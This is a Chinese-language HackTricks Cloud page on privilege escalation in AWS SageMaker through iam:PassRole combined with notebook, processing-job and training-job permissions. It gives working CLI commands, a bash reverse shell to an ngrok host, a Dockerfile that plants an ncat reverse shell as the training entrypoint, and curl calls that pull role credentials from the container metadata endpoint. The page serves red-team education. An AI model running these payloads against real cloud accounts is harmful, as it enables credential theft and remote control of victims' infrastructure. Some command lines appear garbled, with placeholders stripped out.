AWS - Sagemaker Privesc

AWS - Sagemaker提权

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

开始创建一个带有IAM角色访问权限的笔记本:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
<p>响应应包含一个`NotebookInstanceArn`字段,其中将包含新创建的笔记本实例的ARN。然后,我们可以使用`create-presigned-notebook-instance-url` API生成一个URL,我们可以在准备就绪后用来访问笔记本实例:</p>
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

访问浏览器中的URL,点击右上角的`打开JupyterLab`,然后滚动到“启动器”选项卡,在“其他”部分下,点击“终端”按钮。

现在可以访问IAM角色的元数据凭据。

潜在影响: 特权升级到指定的Sagemaker服务角色。

sagemaker:CreatePresignedNotebookInstanceUrl

如果已经在其上运行Jupyter 笔记本,您可以使用sagemaker:ListNotebookInstances列出它们(或以任何其他方式发现它们)。您可以为它们生成一个URL,访问它们,并像前一种技术中指示的那样窃取凭据

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

潜在影响: 特权升级至附加的Sagemaker服务角色。

sagemaker:CreateProcessingJob,iam:PassRole

拥有这些权限的攻击者可以让Sagemaker执行一个附加了Sagemaker角色的处理作业。攻击者可以指定在AWS托管的ECS账户实例中运行的容器的定义,并窃取附加的IAM角色的凭据。

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

潜在影响: 特权升级至指定的Sagemaker服务角色。

sagemaker:CreateTrainingJob, iam:PassRole

拥有这些权限的攻击者将能够创建一个训练作业,在其中运行任意容器并附加一个角色。因此,攻击者将能够窃取该角色的凭据。

与之前的情况相比,这种情景更难利用,因为您需要生成一个Docker镜像,该镜像将直接将反向shell或凭据发送给攻击者(您无法在训练作业的配置中指定起始命令)。

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**潜在影响:** 特权升级至指定的Sagemaker服务角色。

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

拥有这些权限的攻击者将(可能)能够创建一个**超参数调整作业**,在其上**运行任意容器**并附加一个**角色**给它。\
_由于时间不足,我还没有利用,但看起来与先前的利用方式类似,欢迎提交一个带有利用细节的PR。_

## 参考资料

* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式:

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

Last updated